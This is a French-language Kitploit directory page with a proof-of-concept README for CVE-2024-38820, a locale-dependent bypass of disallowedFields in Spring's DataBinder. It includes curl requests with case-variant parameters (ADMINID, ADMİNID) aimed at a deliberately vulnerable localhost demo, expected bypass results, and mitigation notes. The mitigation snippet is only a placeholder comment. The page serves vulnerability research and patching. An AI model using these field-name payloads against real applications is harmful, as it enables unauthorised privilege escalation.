Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2024-38820 | Kitploit
Outils/GitHubGitHub/kadamnayan/poc-cve-2024-38820
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

Voir le dépôt
il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept CVE-2024-38820

Présentation

Ce projet démontre CVE-2024-38820, une vulnérabilité dans le DataBinder du Spring Framework qui permet de contourner la protection disallowedFields en raison de problèmes de conversion de casse dépendants de la locale.

Détails de la vulnérabilité

  • CVE ID : CVE-2024-38820
  • Composant concerné : Spring Framework DataBinder
  • Cause racine : le comportement de String.toLowerCase() varie selon la locale
  • Impact : contournement de la protection des champs, escalade de privilèges potentielle

Le problème

Le correctif de CVE-2022-22968 a rendu les motifs disallowedFields insensibles à la casse en utilisant String.toLowerCase(). Cependant, cette méthode présente des exceptions dépendantes de la locale :

  • Dans la locale turque : "ADMINID".toLowerCase() devient "adminıd" (avec un ı sans point)
  • Dans la locale anglaise : "ADMINID".toLowerCase() devient "adminid"

Cette différence peut permettre aux attaquants de contourner la protection des champs en utilisant des variations de casse spécifiques.

Structure du projet

root@kitploit:~
src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

Démarrage rapide

1. Compilation et exécution

root@kitploit:~
# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

L'application démarrera sur http://localhost:8081

2. Test manuel

Visitez le point de terminaison de test pour voir les informations de locale :

root@kitploit:~
http://localhost:8081/test

Essayez différentes variations de noms de champs :

root@kitploit:~
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. Test automatisé

Exécutez le script de test complet :

root@kitploit:~
./test-cve-2024-38820.sh

Résultats attendus

Avec la locale turque (tr_TR)

  • ✅ adminId=999 → BLOQUÉ (cas normal)
  • 🚨 ADMINID=999 → CONTOURNÉ (majuscules)
  • 🚨 AdminId=999 → CONTOURNÉ (casse mixte)
  • 🚨 ADMİNID=999 → CONTOURNÉ (İ turc)

Avec la locale anglaise (en_US)

  • ✅ adminId=999 → BLOQUÉ (cas normal)
  • ✅ ADMINID=999 → BLOQUÉ (protégé)
  • ✅ AdminId=999 → BLOQUÉ (protégé)

Configuration

Modification de la locale

Modifiez src/main/resources/application.properties :

root@kitploit:~
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

Définition de la locale JVM

Vous pouvez également définir la locale par défaut de la JVM :

root@kitploit:~
mvn spring-boot:run -Duser.language=tr -Duser.country=TR

Analyse de la vulnérabilité

Flux du code

  1. Traitement de la requête : Spring reçoit la requête HTTP avec les paramètres
  2. Configuration du DataBinder : @InitBinder configure disallowedFields("adminId")
  3. Correspondance des champs : Spring utilise une correspondance insensible à la casse avec toLowerCase()
  4. Problème de locale : dans la locale turque, "ADMINID".toLowerCase() ≠ "adminid"
  5. Contournement : la protection des champs échoue, adminId est défini

Sortie de débogage

L'application consigne des informations détaillées :

root@kitploit:~
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

Versions concernées

  • Spring Framework : 5.3.x (avant 5.3.40), 6.0.x (avant 6.0.24), 6.1.x (avant 6.1.13)
  • Spring Boot : versions 2.x et 3.x utilisant des versions affectées du Spring Framework

Atténuation

1. Mise à niveau du Spring Framework

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. Définition explicite de la locale

Utilisez une correspondance de champs sensible à la locale :

root@kitploit:~
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. Validation personnalisée des champs

Mettez en œuvre une validation personnalisée des champs qui ne repose pas sur des opérations dépendantes de la locale.

Références

  • CVE-2024-38820 - NVD
  • Avis de sécurité du Spring Framework
  • CVE-2022-22968 associée

Avis légal

Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité uniquement. Utilisez-la de manière responsable et uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.

Télécharger l’outil